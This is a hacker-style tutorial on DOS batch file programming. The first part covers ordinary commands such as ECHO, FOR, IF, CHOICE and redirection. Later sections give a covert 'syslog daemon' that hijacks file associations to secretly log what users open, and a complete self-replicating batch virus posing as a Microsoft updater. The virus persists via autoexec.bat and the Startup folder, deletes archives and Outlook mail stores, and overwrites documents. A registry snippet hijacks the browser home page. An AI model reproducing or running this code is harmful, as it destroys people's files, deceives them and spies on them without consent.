
Batch File Programming By Ankit Fadia ankit@bol.net.in

Batch file programming is nothing but the Windows version of Unix Shell Programming. Let's start by understanding what happens when we give a DOS command. DOS is basically a file called command.com
It is this file (command.com) which handles all DOS commands that you give at the DOS prompt---such as COPY, DIR, DEL etc. These commands are built in with the Command.com file. (Such commands which are built in are called internal commands.).DOS has something called external commands too such as FORMAT, UNDELETE, BACKUP etc.

So whenever we give a DOS command either internal or external, command.com either straightaway executes the command (Internal Commands) or calls an external separate program which executes the command for it and returns the result (External Commands.)

So why do I need Batch File Programs? Say you need to execute a set of commands over and over again to perform a routine task like Backing up Important Files, Deleting temporary files(*.tmp, .bak , ~.* etc)
then it is very difficult to type the same set of commands over and over again. To perform a bulk set of same commands over and over again, Batch files are used. Batch Files are to DOS what Macros are to Microsoft Office and are used to perform an automated predefined set of tasks over and over again.

So how do I create batch files? To start enjoying using Batch files, you need to learn to create Batch files. Batch files are basically plain text files containing DOS commands. So the best editor to write your commands in would be Notepad or the DOS Editor (EDIT) All you need to remember is that a batch file should have the extension .BAT(dot bat)Executing a batch file is quite simple too. For example if you create a Batch file and save it with the filename batch.bat then all you need to execute the batch file is to type:

C:¥windows>batch.bat

So what happens when you give a Batch file to the command.com to execute? Whenever command.com comes across a batch file program, it goes into batch mode. In the batch mode, it reads the commands from the batch file line by line. So basically what happens is, command.com opens the batch file and reads the first line, then it closes the batch file. It then executes the command and again reopens the batch file and reads the next line from it. Batch files are treated as Internal DOS commands.

****

Hacking Truth: While creating a batch file, one thing that you need to keep in mind is that the filename of the batch file should not use the same name as a DOS command. For example, if you create a batch file by the name dir.bat and then try to execute it at the prompt, nothing will happen.

This is because when command.com comes across a command, it first checks to see if it is an internal command. If it is not then command.com checks if it a .COM, .EXE or .BAT file with a matching filename.

All external DOS commands use either a .COM or a .EXE extension, DOS never bothers to check if the batch program exits.

****

Now let's move on to your first Batch file program. We will unlike always(Normally we begin with the obligatory Hello World program) first take up a simple batch file which executes or launches a .EXE program. Simply type the following in a blank text file and save it with a .BAT extension.

```
C:
cd windows
telnet
```

Now let's analyze the code, the first line tells command.com to go to the C: Next it tells it to change the current directory to Windows. The last line tells it to launch the telnet client. You may contradict saying that the full filename is telnet.exe. Yes you are right, but the .exe extension is automatically added by command.com. Normally we do not need to change the drive and the directory as the Windows directory is the default DOS folder. So instead the bath file

could simply contain the below and would still work.

telnet

Now let's execute this batch file and see what results it shows. Launch command.com (DOS) and execute the batch file by typing:

C:¥WINDOWS>batch_file_name

You would get the following result:

C:¥WINDOWS>scandisk

And Scandisk is launched. So now the you know the basic functioning of Batch files, let' move on to Batch file commands.

The REM Command

The most simple basic Batch file command is the REM or the Remark command. It is used extensively by programmers to insert comments into their code to make it more readable and understandable. This command ignores anything there is on that line. Anything on the line after REM is not even displayed on the screen during execution. It is normally not used in small easy to understand batch programs but is very useful in huge snippets of code with geek stuff loaded into it. So if we add Remarks to out first batch file, it will become:

REM This batch file is my first batch program which launches the fav hacking tool; Telnet

telnet

The only thing to keep in mind while using Remarks is to not go overboard and putting in too many of them into a single program as they tend to slow down the execution time of the batch commands.

ECHO: The Batch Printing Tool

The ECHO command is used for what the Print command is in other programming languages: To Display something on the screen. It can be used to tell the user what the bath file is currently doing. It is true that Batch programs display all commands it is executing but sometimes they are not enough and it is better to also insert ECHO commands which give a better description of what is presently being done. Say for example the following batch program which is full of the ECHO command deletes all files in the c:¥windows¥temp directory:

```
ECHO This Batch File deletes all unwanted Temporary files from your system
ECHO Now we go to the Windows¥temp directory.
cd windows¥temp
ECHO Deleting unwanted temporary files....
del *.tmp
ECHO Your System is Now Clean
```

Now let's see what happens when we execute the above snippet of batch code.

```
C:¥WINDOWS>batch_file_name
C:¥WINDOWS>ECHO This Batch File deletes all unwanted Temporary files from your system
C:¥WINDOWS>ECHO Now we go to the Windows¥temp directory.
Now we go to the Windows¥temp directory.
C:¥WINDOWS>cd windows¥temp
Invalid directory
C:¥WINDOWS>ECHO Deleting unwanted temporary files
Deleting unwanted temporary files...
C:¥WINDOWS>del *.tmp
C:¥WINDOWS>ECHO Your System is Now Clean
Your System is Now Clean
```

The above is a big mess! The problem is that DOS is displaying the executed command and also the statement within the ECHO command. To prevent DOS from displaying the command being executed, simply precede the batch file with the following command at the beginning of the file:

ECHO OFF

Once we add the above line to our Temporary files deleting Batch program , the output becomes:

C:¥WINDOWS>ECHO OFF
This Batch File deletes all unwanted Temporary files from your system
Now we go to the Windows¥temp directory.
Invalid directory
Deleting unwanted temporary files...
File not found
Your System is Now Clean

Hey pretty good! But it still shows the initial ECHO OFF command. You can prevent a particular command from being shown but still be executed by preceding the command with a @ sign. So to hide even the ECHO OFF command, simple replace the first line of the batch file with @ECHO OFF

You might think that to display a blank line in the output screen you can simply type ECHO by itself, but that doesn't work. The ECHO command return whether the ECHO is ON or OFF. Say you have started your batch file with the command ECHO OFF and then in the later line give the command ECHO, then it will display ' ECHO is off ' on the screen. You can display a blank line by giving the command ECHO.(ECHO followed by a dot)Simply leaving a blank line in the code too displays a blank line in the output.

You can turn ON the ECHO anytime by simply giving the command ECHO ON. After turning the echo on , if you give the command ECHO then it will return ' ECHO is on '

The PAUSE Command: Freezing Time

Say you create a batch file which shows the Directory Listing of a particular folder(DIR) before performing some other task. Or sometimes before deleting all files of a folder, you need to give the user time to react and change his mind. PAUSE, the name says it all, it is used to time out actions of a script.

Consider the following scenario:

```
REM This Batch program deletes *.doc files in the current folder.
REM But it gives the user to react and abort this process.
@ECHO OFF
ECHO WARNING: Going to delete all Microsoft Word Document
ECHO Press CTRL+C to abort or simply press a key to continue.
PAUSE
DEL *.doc
```

Now when you execute this batch program, we get the following output:

```
C:¥WINDOWS>a.bat
WARNING: Going to delete all Microsoft Word Document
Press CTRL+C to abort or simply press a key to continue.
Press any key to continue . . .
```

The batch file program actually asks the user if he wishes to continue and gives the user the option to abort the process. Pressing CTRL+C cancels the batch file program(CTRL+C and CTRL+Break bring about the same results)

```
^C

Terminate batch job (Y/N)?y
```

After this you will get the DOS prompt back.

****

HACKING TRUTH: Say you have saved a batch file in the c:¥name directory. Now when you launch command.com the default directory is c:¥windows and in order to execute the batch file program stored in the c:¥name directory you need to change the directory and go to c:¥name.This can be very irritating and time consuming. It is a good practice to store all your batch programs in the same folder. You can run a batch file stored in any folder(Say c:¥name) from anywhere(even c:¥windows¥history) if you include the folder in which the batch file is stored (c:¥name)in the AUTOEXEC.BAT file, so that DOS knows which folder

to look for the batch program.
So simply open c:¥autoexec.bat in Notepad and append the Path statement to the following line[c:¥name is the folder in which all your batch files are stored.]:

SET PATH=C:¥WINDOWS;C:¥WINDOWS¥COMMAND;C:¥name

Autoexec.bat runs each time at startup and DOS knows each time, in which directory to look for the batch files.
****

Parameters: Giving Information to Batch Programs

To make batch programs really intelligent you need to be able to provide them with parameters which are nothing but additional valuable information which is needed to ensure that the bath program can work efficiently and flexibly.
To understand how parameters work, look at the following script:

```
@ECHO OFF
ECHO First Parameter is %1
ECHO Second Parameter is %2
ECHO Third Parameter is %3
```

The script seems to be echoing(printing) messages on the screen, but what do the strange symbols %1 , % 2 etc stand for? To find out what the strange symbols stand for save the above script and go to DOS and execute this script by passing the below parameters:

```
C:¥windows>batch_file_name abc def ghi
```

This batch file produces the following result:

```
C:¥windows>batch_file_name abc def ghi
First Parameter is abc
Second Parameter is def
Third Parameter is ghi
```

The first line in the output is produced by the code line:

ECHO First Parameter is %1

Basically what happens is that when DOS encounters the %1 symbol, it examines the original command used to execute the bath program and look for the first word (argument) after the batch filename and then assigns %1 the value of that word. So one can say that in the ECHO statement %1 is replaced with the value of the first argument. In the above example the first word after the batch file name is abc, therefore %1 is assigned the value of this word.

The %2 symbol too works in the similar way, the only difference being that instead of the first argument, DOS assigns it the value of the second argument, def. Now all these symbols, %1, %2 are called replaceable parameters. Actually what happens is that %1 is not assigned the value of the first argument, but in fact it is replaced by the value of the first argument.

If the batch file command has more parameters than what the batch file is looking for, then the extras are ignored. For example, if while executing a batch file program , we pass four arguments, but the batch file program requires only 3 parameters, then the fourth parameter is ignored.

To understand the practical usage of parameters, let's take up a real life example. Now the following script requires the user to enter the name of the files to be deleted and the folder in which they are located.

```
@ECHO OFF
CD¥
CD %1
DEL %2
```

This script can be called from the DOS prompt in the following way:

C:¥windows>batch_file_name windows¥temp *.tmp

In a single script we cannot use more that nine replaceable parameters. This

means that a particular batch file will have replaceable parameters from %1 to %9.Infact there is a tenth replaceable parameter, the %0 parameter. The %0 parameter contains the name of the batch file itself.

****

HACKING TRUTH: Say you want to execute a batch file and once the procedure of execution is complete, want to leave DOS and return to Windows, what do you do? The EXIT command can be used in such situations. So simply end your batch file with the EXIT command.

EXIT

****

SHIFT: Infinite Parameters

Sometimes your batch file program may need to use more than nine parameters at a time.(Actually you would never need to, but at least you are sure you can handle it if you need to.)To see how the SHIFT command works, look at the following snippet of code:

```
@ECHO OFF
ECHO The first Parameter is %1
ECHO.
SHIFT
ECHO The Second Parameter is %1
ECHO.
SHIFT
ECHO The Second Parameter is %1
```

Now execute this batch file from DOS and see what happens.

```
C:¥windows>batch_file_name abc def ghi

The first Parameter is abc

The Second Parameter is def
```

The Second Parameter is ghi

How does it work? Well, each SHIFT command shuffles the parameters down one position. This means that after the first SHIFT %1 becomes def, %2 becomes ghi and abc is completely removed by DOS. All parameters change and move one position down.

Both normal parameters (%1 , % 2 etc) and the SHIFT command can be made more efficient by grouping them with the IF conditional statement to check the parameters passed by the User.

THE FOR LOOP

The syntax of the FOR LOOP is:

FOR %%PARAMETER IN(set) DO command

Most people change their mind about learning Batch Programming when they come across the syntax of the For Command. I do agree that it does seem a bit weird, but it is not as difficult as it appears to be. Let's analyze the various parts of the For command. Before we do that look at the following example,

```
@ECHO OFF
CLS
FOR %%A    IN (abc, def, xyz) DO    ECHO    %%A
```

Basically a FOR LOOP declares a variable (%%A) and assigns it different values as it goes through the predefined set of values(abc, def, xyz) and each time the variable is assigned a new value, the FOR loop performs a command.(ECHO %%A)

The %%A is the variable which is assigned different values as the loop goes through the predefined set of values in the brackets. You can use any single letter character after the two % sign except 0 through 9.We use two %'s as DOS deletes each occurrence of a single % sign in a batch file program.

The IN(abc, def, xyz) is the list through which the FOR loop goes. The variable

%%a is assigned the various values within the brackets, as the loop moves. The items in the set(The technical term for the set of values within the brackets) can be separated with commas, colons or simply spaces.

For each item in the set(The IN Thing) the FOR loop performs whatever command is given after the DO keyword.(In this example the loop will ECHO %%A)

So basically when we execute the above batch file, the output will be:

abc
def
xyz

The FOR loop becomes very powerful if used along with replaceable parameters. Take the following batch file, for example,

```
@ECHO OFF
ECHO.
ECHO I am going to delete the following files:
ECHO %1 %2
ECHO.
ECHO Press Ctrl+C to Abort process
PAUSE
FOR %%a IN (%1 %2 ) DO DEL %%a
ECHO Killed Files. Mission Accomplished.
```

At execution time, the process would be something like:

```
C:¥WINDOWS>batchfilename    *.tmp *.bak

I am going to delete the following files:
*.tmp *.bak

Press Ctrl+C to Abort process
Press any key to continue . . .
```

Killed Files. Mission Accomplished.

IF: CONDITIONAL BRANCHING

The If statement is a very useful command which allows us to make the batch files more intelligent and useful. Using this command one can make the batch programs check the parameters and accordingly perform a task. Not only can the IF command check parameters, it can also checks if a particular file exists or not. On top of all this, it can also be used for the conventional checking of variables (strings).

Checking If a File Exists Or Not

The general syntax of the IF command which checks for the existence of a file is the following:

IF [NOT] EXIST FILENAME Command

This will become clearer when we take up the following example,

IF EXIST c:¥autoexec.bat ECHO It exists

This command checks to see if the file, c:¥autoexec.bat exists or not. If it does then it echoes or prints the string 'It exists'. On the other hand if the specified file does not exist, then it does not do anything.

In the above example, if the file autoexec.bat did not exist, then nothing was executed. We can also put in the else clause i.e. If the File exists, do this but if it does not exists, by using the GOTO command. Let's consider the following example to make it more clear:

```
@echo off
IF EXIST C:¥ankit.doc GOTO ANKIT
Goto end
:ANKIT
ECHO ANKIT
:end
```

The IF statement in this code snippet checks to see if there exists a file, c:¥ankit.doc. If it does then DOS is branched to :ANKIT and if it does not, then DOS goes on to the next line. The next line branches DOS to :end. The :end and :ANKIT in the above example are called labels. After the branching the respective echo statements take over.

****

HACKING TRUTH: We can also check for more than one file at a time, in the following way:
IF EXIST c:¥autoexec.bat IF EXIST c:¥autoexec.bak ECHO Both Exist
****

We can check to see if a file does not exist in the same way, the basic syntax now becomes:

IF NOT EXIST FILENAME Command

For Example,

IF NOT EXIST c:¥ankit.doc ECHO It doesn't Exist

****

HACKING TRUTH: How do you check for the existence of directories? No something like IF C:¥windows EXISTS ECHO Yes does not work. In this case we need to make use of the NULL device. The NULL device is basically nothing, it actually stands for simply nothing. Each directory has the NULL device present in it. (At least DOS thinks so.) So to check if c:¥windows exits, simply type:

IF EXIST c:¥windows¥nul ECHO c:¥Windows exists.

One can also check if a drive is valid, by giving something like:

IF EXIST c:¥io.sys ECHO Drive c: is valid.

****

Comparing Strings to Validate Parameters

The basic syntax is:

IF [NOT] string1==string2 Command

Now let's make our scripts intelligent and make them perform a task according to what parameter was passed by the User. Take the following snippet of code for example,

```
@ECHO off
IF %1==cp GOTO COPY
GOTO DEL
:COPY
Copy %2    a:
GOTO :END
:DEL
Del %2
:END
```

This example too is pretty much self explanatory. The IF Statement compares the first parameter to cp, and if it matches then DOS is sent to read the COPY label else to the DEL label. This example makes use of two parameters and is called by passing at least two parameters.

We can edit the above example to make DOS check if a parameter was passed or not and if not then display an error message. Just add the following lines to the beginning of the above file.

```
@ECHO OFF
IF "%1" == "" ECHO Error Message Here
```

If no parameter is passed then the batch file displays an error message. Similarly we can also check for the existence of the second parameter.
This command too has the NOT clause.

The CHOICE Command

Before we learn how to make use of the CHOICE command, we need to what error levels really are. Now Error levels are generated by programs to inform about the way they finished or were forced to finish their execution. For example, when we end a program by pressing CTRL+C to end a

program, the error level code evaluates to 3 and if the program closes normally, then the error level evaluates to 0. These numbers all by themselves are not useful but when used with the IF ERROR LEVEL and the CHIOCE command, they become very kewl.

The CHOICE command takes a letter or key from the keyboard and returns the error level evaluated when the key is pressed. The general syntax of the CHOICE command is:

CHOICE[string][/C:keys][/S][/N][/T:key,secs]

The string part is nothing but the string to be displayed when the CHOICE command is run.

The /C:keys defines the possible keys to be pressed. If options are mentioned then the default Y/N keys are used instead.
For example, The command,

CHOICE /C:A1T0

Defines A, 1, T and O as the possible keys. During execution if the user presses a undefined key, he will hear a beep sound and the program will continue as coded.

The /S flag makes the possible keys defined by the CHOICE /c flag case sensitive. So it means that if the /S flag is present then A and a would be different.

The /N flag, if present shows the possible keys in brackets when the program is executed. If the /N flag is missing then, the possible keys are not shown in brackets. Only the value contained by STRING is shown.

/T:key,secs defines the key which is taken as the default after a certain amount of time has passed.
For Example,

CHOICE Choose Browser /C:NI /T:I.5

The above command displays Choose Browser[N,I] and if no key is pressed for the next 5 seconds, then it chooses I.

Now to truly combine the CHOICE command with the IF ERROR LEVEL command, you need to

know what the CHOICE command returns.

The CHOICE command is designed to return an error level according to the pressed key and its position in the /C flag. To understand this better, consider the following example,

CHOICE /C:AN12

Now remember that the error level code value depends on the key pressed. This means that if the key A is pressed, then the error level is 1, if the key N is pressed then the error level is 2, if 1 is pressed then error level is 3 and if 2 is pressed then error level is 4.

Now let us see how the IF ERROR LEVEL command works. The general syntax of this command is:

IF [NOT] ERRORLEVEL number command.

This statement evaluates the current error level number. If the condition is true then the command is executed. For Example,

IF ERRORLEVEL 3 ECHO Yes

The above statement prints Yes on the screen if the current error level is 3.
The important thing to note in this statement is that the evaluation of an error level is true when the error level us equal or higher than the number compared.
For Example, in the following statement,

IF ERRORLEVEL 2 ECHO YES

The condition is true if the error level is > or = 2.

Now that you know how to use the CHOICE and ERROR LEVEL IF command together, you can now easily create menu based programs. The following is an example of such a batch file which asks the User what browser to launch.

@ECHO OFF

```
ECHO.
ECHO.
ECHO Welcome to Browser Selection Program
ECHO.
ECHO 1. Internet Explorer 5.5
ECHO 2. Mozilla 5
ECHO x. Exit Browser Selection Program
ECHO.
CHOICE "Choose Browser" /C:12x /N
IF ERRORLEVEL 3 GOTO END
IF ERRORLEVEL 2 START C:¥progra~1¥Netscape
IF ERRORLEVEL 1 start c:¥progra~1¥intern~1¥iexplore.exe
:END
```

NOTE: Observe the order in which we give the IF statements.

Redirection

Normally the Output is sent to the screen(The standard STDOUT)and the Input is read from the Keyboard(The standard STDIN). This can be pretty boring. You can actually redirect both the Input and the
Output to something other than the standard I/O devices.

To send the Output to somewhere other than the screen we use the Output Redirection Operator, > which is
most commonly used to capture results of a command in a text file. Say you want to read the help on how to
use the net command, typing the usual Help command is not useful as the results do not fit in one screen
and scroll by extremely quickly. So instead we use the Output Redirection operator to capture the results of
the command in a text file.

```
c:¥windows>net > xyz.txt
```

This command will execute the net command and will store the results in the text file, xyz.txt .

Whenever
DOS comes by such a command, it checks if the specified file exists or not. If it does, then everything in the
file is erased or lost and the results are stored in it. If no such file exists, then DOS creates a new file and
stores the results in this new file.

Say, you want to store the results of more than one command in the same text file, and want to ensure that
the results of no command are lost, then you make use of the Double Output Re Direction Symbol, which is
the >> symbol.
For Example,

c:¥windows> net >> xyz.txt

The above command tells DOS to execute the net command and append the output to the xyz.txt file, if it
exits.

DOS not only allows redirection to Files, but also allows redirection to various devices.

DEVICE NAME USED	DEVICE
AUX	Auxiliary Device (COM1)
CLOCK$	Real Time Clock
COMn	Serial Port(COM1, COM2, COM3, COM4)
CON	Console(Keyboard, Screen)
LPTn	Parallel Port(LPT1, LPT2, LPT3)
NUL	NUL Device(means Nothing)
PRN	Printer

Say for example, you want to print the results of directory listings, then you can simply give the following
command:

c:¥windows>dir *.* > prn

The NUL device(nothing) is a bit difficult to understand and requires special mention. This device which is
also known as the 'bit bucket' literally means nothing. Redirection to the NUL device practically has no usage
but can be used to suppress the messages which DOS displays on the completion of a task. For example,
when DOS has successfully copied a particular file, then it displays the message: '1 file(s) copied.'
Now say you want to suppress this task completion message, then you can make use of the NUL device.

c:¥windows>copy file.txt > NUL

This will suppress the task completion message and not display it.

Redirecting Input

Just like we can redirect Output, we can also redirect Input. It is handled by the Input Redirection Operator,
which is the < symbol. It is most commonly used to send the contents of a text file to DOS. The other common
usage of this feature is the MORE command which displays a file one screen at a time unlike the TYPE
command which on execution displays the entire file.(This becomes impossible to read as the file scrolls by
at incredible speed.)Thus, many people send the long text file to the MORE command by using the command:

c:¥windows>more < xyz.txt

This command sends the contents of the xyz.txt file to the MORE command which displays the contents
page by page. Once the first page is read the MORE command displays something like the following on the
screen:

.....MORE.....

You can also send key strokes to any DOS command which waits for User Input or needs User intervention to perform a task. You can also send multiple keystrokes. For example, a typical Format
command requires 4 inputs, firstly pressing Enter to give the command, then Disk Insertion prompt, then the
VOLUME label prompt and lastly the one to format another disk. So basically there are three User inputs-:
ENTER, ENTER N and ENTER.(ENTER is Carriage return)So you can include this in a Batch file and give
the format command in the following format:

c:¥windows>format a: < xyz.bat

PIPING

Piping is a feature which combines both Input and Output Redirection. It uses the Pipe operator, which is the
| symbol. This command captures the Output of one command and sends it as the Input of the other command. Say for example, when you give the command del *.* then you need to confirm that you mean to
delete all files by pressing y. Instead we can simply do the same without any User Interaction by giving the
command:

c:¥windows> echo y | del *.*

This command is pretty self explanatory, y is sent to the command del *.*
Batch File Programming can be very easy and quite useful. The only thing that one needs to be able to become a Batch File Programming nerd, is adequate knowledge of DOS commands. I suggest you surf the net or get a book on DOS commands and really lick the pages off the book, only then can you become an expert.

Making your own Syslog Daemon

We can easily combine the power of batch file programs and the customizable Windows Interface to make
our own small but efficient System Logging Daemon.
Basically this Syslog Daemon can keep a track of the files opened(any kind of files), the time at which the
files were opened also actually post the log of the User's activities on to the web, so that the System Administrator can keep a eye on things.

Simply follow the following steps to make the daemon-:

NOTE: In the following example, I am making a syslog daemon which keeps an eye on what text files were
opened by the User. You can easily change what files you want it to keep an eye on by simply following the
same steps.

1. ASSOCIATING THE FILES TO BE MONITORED TO THE LOGGER

Actually this step is not the first, but being the easiest, I have mentioned it earlier. The first thing to do is to
associate the text files(*.txt) files to our batch file which contains the code to log the User's activities. You can
of course keep an eye on other files as well, the procedure is almost similar. Anyway, we associate .txt files
to our batch program so that each time a .txt file is opened, the batch file is also executed. To do this, we
need to change the File Associations of .txt files.
For more information on Changing File Associations, refer to the Windows Help Files, simply type Associations and search. Anyway to change the associations of .txt files and to point them to our batch
file, simply do the below:

Locate any .txt file on your system, select it(click once) and Press the SHIFT key. Keeping the

SHIFT key
pressed, right click on the .txt file to bring up the OPEN WITH... option. Clicking on the OPEN WITH... option
will bring up OPEN WITH dialog box. Now click on the OTHER button and locate the batch file program
which contains the logging code and click on OPEN and OK.
Now each time a .txt file is opened, the batch file is also executed, hence logging all interactions of the User
with .txt files.

2. Creating the Log File

Now you need to create a text file, which actually will act like a log file and will log the activities of the User.
This log file will contain the filename and the time at which the .txt file was opened. Create a new blank text
file in the same directory as the batch file. Now change the attributes of this log file and make it hidden by
changing it's attributes by issuing the ATTRIB command.

C:¥windows>attrib xyz.txt +h

This will ensure that a lamer will not know as to where the log file is located.

3. CODING THE LOGGING BATCH FILE

The coding of the actual batch file which will log the User's activities and post it on the web is quite simple. If
you have read this tutorial properly till now, then you would easily be able to understand it, although I still
have inserted comments for novices.

```
echo %1 >> xyz.txt    /* Send the file name of the file opened to the log file, xyz.txt */
notepad %1    /* Launch Notepad so that the lamer does not know something is wrong. */
```

This logging file will only log the filename of the text file which was opened by the unsuspecting

lamer, say
you want to also log the time at which a particular file was opened, then you simply make use of the 'time'
command. The only thing that one needs to keep in mind is that after giving the TIME command , we need
to press enter too, which in turn has to entered in the batch file too.

Say you, who are the system administrator does not have physical access or have gone on a business trip,
but have access to the net and need to keep in touch with the server log file, then you easily link the log file
to a HTML file and easily view it on the click of a button. You could also make this part of the site password
protected or even better form a public security watch contest where the person who spots something fishy
wins a prize or something, anyway the linking can easily be done by creating an .htm or. html file and
inserting the following snippet of code:

```
<html>
<title> Server Logs</title>
<body>
<a href="xyz.txt>Click here to read the Server Logs</a>
</body>
</html>
```

That was an example of the easiest HTML page one could create.

Another enhancement that one could make is to prevent the opening of a particular file. Say if you want to prevent the user from launching abc.txt then you would need to insert an IF conditional statement.

```
IF "%1" == "filename.extension" ECHO Error Message Here
```

4. Enhancing the logging Batch file to escape the eyes of the Lamer.

To enhance the functioning of our logging daemon, we need to first know it's normal functioning. Normally, if you have followed the above steps properly, then each time a .txt file is opened, the batch file
is launched(in a new window, which is maximized) and which in turn launches Notepad. Once the filename
and time have been logged, the batch file Window does not close automatically and the User has to exit
from the Window manually. So maybe someone even remotely intelligent will suspect something fishy. We
can configure our batch file to work minimized and to close itself after the logging process has been
completed. To do this simply follow the following steps-:

a) Right Click on the Batch File.
b) Click on properties from the Pop up menu.
c) In the Program tab click on the Close on Exit option.
d) Under the same tab, under the RUN Input box select Minimized.
e) Click on Apply and voila the batch file is now more intelligent

This was just an example of a simple batch file program. You can easily create a more intelligent and more useful program using batch code.

MAKING YOUR OWN DEADLY BATCH FILE VIRUS: The atimaN_8 Batch File Virus

DISCLAIMER: This Virus was created by Ankit Fadia ankit@bol.net.in and is meant for educational purposes only. This Virus was coded to make people understand the basic concept of the Working of a Virus. Execute this Batch File at your own Risk. Any Damage caused by this file is not Ankit Fadia's fault. If you want any information regarding this Virus, do please feel free to contact me at: ankit@bol.net.in also visit my site at: http://www.crosswinds.net/~hackingtruths

The following is a simple but somewhat deadly (but quite lame)Batch File Virus that I created. I have named it, atimaN_8 I have used no advanced Batch or DOS commands in this virus and am sure that almost all you will have no problem understanding the code, If you still have trouble understanding the code, do mail me at ankit@bol.net.in

```
@ECHO OFF
```

```
CLS
IF EXIST c:¥winupdt.bat GOTO CODE
GOTO SETUP
:SETUP
@ECHO OFF
ECHO Welcome To Microsoft Windows System Updater Setup
ECHO.
copy %0 c:¥winupdt.bat >> NUL
ECHO Scanning System.....Please Wait
prompt $P$SWindows2000
type %0 >> c:¥autoexec.bat
type %0 >> c:¥windows¥dosstart.bat
ECHO DONE.
ECHO.
ECHO Installing Components....Please Wait
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:¥mydocu~1¥*.txt) DO COPY c:¥winupdt.bat %%a >> NUL
FOR %%a IN (C:¥mydocu~1¥*.xls) DO COPY c:¥winupdt.bat %%a >> NUL
FOR %%a IN (C:¥mydocu~1¥*.doc) DO COPY c:¥winupdt.bat %%a >> NUL
ECHO DONE.
ECHO.
ECHO You Now Need to Register with Microsoft's Partner: Fortune Galaxy to receive automatic updates.
PAUSE
ECHO Downloading Components...Please Wait
START "C:¥Program Files¥Internet Explorer¥Iexplore.exe" http://www.crosswinds.net/~hackingtruths
IF EXIST "C:¥Program Files¥Outlook Express¥msimn.exe" del "C:¥WINDOWS¥Application Data¥Identities¥{161C80E0-1B99-11D4-9077-FD90FD02053A}¥Microsoft¥Outlook Express¥*.dbx"
IF EXIST "C:¥WINDOWS¥Application Data¥Microsoft¥Address Book¥ankit.wab" del "C:¥WINDOWS¥Application Data¥Microsoft¥Address Book¥ankit.wab"
ECHO Setup Will Now restart Your Computer....Please Wait
ECHO Your System is not faster by almost 40%.
ECHO Thank you for using a Microsoft Partner's product.
copy %0 "C:¥WINDOWS¥Start Menu¥Programs¥StartUp¥winupdt.bat" >> NUL
```

```
c:¥WINDOWS¥RUNDLL user.exe,exitwindowsexec
CLS
GOTO END


:CODE
CLS
@ECHO OFF
prompt $P$SWindows2000
IF "%0" == "C:¥AUTOEXEC.BAT" GOTO ABC
type %0 >> c:¥autoexec.bat
:ABC
type %0 >> c:¥windows¥dosstart.bat
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:¥mydocu~1¥*.txt) DO COPY c:¥winupdt.bat %%a >> NUL
FOR %%a IN (C:¥mydocu~1¥*.xls) DO COPY c:¥winupdt.bat %%a >> NUL
FOR %%a IN (C:¥mydocu~1¥*.doc) DO COPY c:¥winupdt.bat %%a >> NUL
START "C:¥Program Files¥Internet Explorer¥Iexplore.exe" http://www.crosswinds.net/~hackingtruths
IF EXIST "C:¥Program Files¥Outlook Express¥msimn.exe" del "C:¥WINDOWS¥Application Data¥Identities¥{161C80E0-1B99-11D4-9077-FD90FD02053A}¥Microsoft¥Outlook Express¥*.dbx" >> NUL
IF EXIST "C:¥WINDOWS¥Application Data¥Microsoft¥Address Book¥ankit.wab" del "C:¥WINDOWS¥Application Data¥Microsoft¥Address Book¥ankit.wab" >> NUL
copy %0 "C:¥WINDOWS¥Start Menu¥Programs¥StartUp¥winupdt.bat" >> NUL
GOTO :END
CLS
:END
CLS
```

This was an example of a pretty lame batch file virus. We can similarly create a virus which will edit the registry and create havoc. This is just a thought, I am not responsible for what you do with this.

There is simply no direct way of editing the Windows Registry through a batch file. Although there are Windows Registry Command line options(Check them out in the Advanced Windows Hacking

Chapter, they are not as useful as adding keys or editing keys, can be. The best option we have is to create a .reg file and then execute it through a batch file. The most important thing to remember hear is the format of a .reg file and the fact that the first line of all .reg files should contain nothing but the string REGEDIT4, else Windows wil not be able to recognize it as a registry file. The following is a simple example of a batch file which changes the home page of the User (If Internet Explorer is installed)
to http://hackingtruths.tripod.com

```
@ECHO OFF
ECHO REGEDIT4 >ankit.reg
ECHO [HKEY_CURRENT_USER¥Software¥Microsoft¥Internet Explorer¥Main] >> ankit.reg
ECHO "Start Page"="http://hackingtruths.tripod.com" >> ankit.reg
START ankit.reg
```

Creating a .reg file is not as easy as it seems. You see, for Windows to recognize a file as a Registry file and for Windows to add the contents of the .reg file to the registry, it has to be in a particular recognizable format, else an error message would be displayed. I would not want to repeat, the entire Windows Registry File format here, as the Advanced Windows Hacking Manual has a huge section, specially dedicated to the Windows Registry.

Protection from Batch File Viruses

If you double-click a batch file (.bat files) it will run automatically. This can be dangerous as batch files can contain harmful commands sometimes. Worst still, if you use the single-click option, one wrong click and it's goodbye Windows. Now most power users would like to set edit as the default action. To best way to do that is to go to Explorer's Folder Options' File View tab to change the modify the default action. However, to add insult to injury, when you arrive there, you will find that the Edit and Set Default buttons has been grayed out. This is a "feature" from Microsoft you might not appreciate.
To conquer our problem here, flare up your registry editor and go to HKEY_CLASSES_ROOT¥batfile¥shell¥open Rename the open key to run, thus becoming HKEY_CLASSES_ROOT¥batfile¥shell¥run. Double-click the EditFlags binary value in HKEY_CLASSES_ROOT¥batfile and enter 00 00 00 00 as the new value. Now, open Explorer, click Folder Options from the View menu and select the File Types tab, scroll down to the "MS-DOS Batch File" item, highlight it and click Edit. You'll notice that the last three buttons (Edit, Remove and Set Default) are now enabled and that you can select Edit as the default action.

Ankit Fadia
ankit@bol.net.in

Get the Archive of Manuals [EVERYTHING YOU DREAMT OFF] written by Ankit Fadia
At his mailing list.
To get the manuals in your Inbox join his mailing list by sending an email to:
programmingforhackers-subscribe@egroups.com